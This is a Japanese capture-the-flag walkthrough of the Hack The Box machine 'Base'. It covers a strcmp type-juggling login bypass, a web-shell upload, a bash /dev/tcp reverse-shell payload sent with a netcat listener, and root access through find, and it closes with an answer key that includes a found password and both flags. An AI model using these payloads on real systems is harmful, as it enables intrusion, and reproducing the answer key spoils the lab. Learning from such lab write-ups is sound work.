Hack The Box (starting point #3) : Base

Hack The Boxのチュートリアルである「Base」を攻略したいと思う。




Walkthrough

初手、"nmap"コマンドでポートスキャンをかける。

すると、22番および80番ポートが開いていることがわかる。(タスク1)
Webページに飛び、ログインページを開く。(タスク2)
"/login"ディレクトリには、以下の3つのファイルがある。編集途中で切断されたと思われるSwapファイル(拡張子: .swp)がある。(タスク3,4)

"login.php.swp"を開いてみると、以下のような内容があり、strcmp関数で比較を行っていることがわかる。(タスク5)

文字列型で比較を行っているため、"password"変数を配列型にすると、strcmpはNULLを返し、"=="を使うことで厳密な比較(数値、型)を行わないため"NULL==0"となり、ユーザー名とパスワードを回避することができる。
以下の要領でBurpsuiteを用いて編集し、forwardする。

すると、ログインが成功する。

以下のようなシェルを乗っとるためのスクリプトを書き、先ほどのアップロードボタンからアップロードする。

これを行うことで、URLのパラメータを変えるだけで任意のコマンドを実行できるようになる。以下の画像では、下の方に"john"というユーザーが存在している事がわかる。(タスク7)

また以下の要領で、リバースシェルを獲得するためのペイロードをBurpsuiteを用いて、POSTメソッドで送る。
(1)リスナーを起動(ターミナルから操作)
(次のコマンドでリスナーを起動する)
sudo nc -lvnp 443
(2)ペイロード作成
("cmd"パラメータを変更する)
/bin/bash+-c+'bash+-i+>%26+/dev/tcp/IP_Address/443+0>%261'
すると、(1)のターミナルが以下のようになり、"config.php"が見つかる。(タスク8)

このターミナルからではユーザー"john"に昇格できなかったため、22番ポートのsshを利用する。(User Flag)

調べるとユーザー"john"は、"find"コマンドを利用できる事が分かるので、以下のようにするとroot権限を得られる。(タスク9,10,Root Flag)




Answer

Task1 : 22,80
Task2 : /login/login.php
Task3 : 3
Task4 : .swp
Task5 : strcmp()
Task6 : /_uploaded
Task7 : john
Task8 : thisisagoodpassword
Task9 : /usr/bin/find
Task10 : exec
User Flag : f54846c258f3b4612f78a819573d158e
Root Flag : 51709519ea18ab37dd6fc58096bea949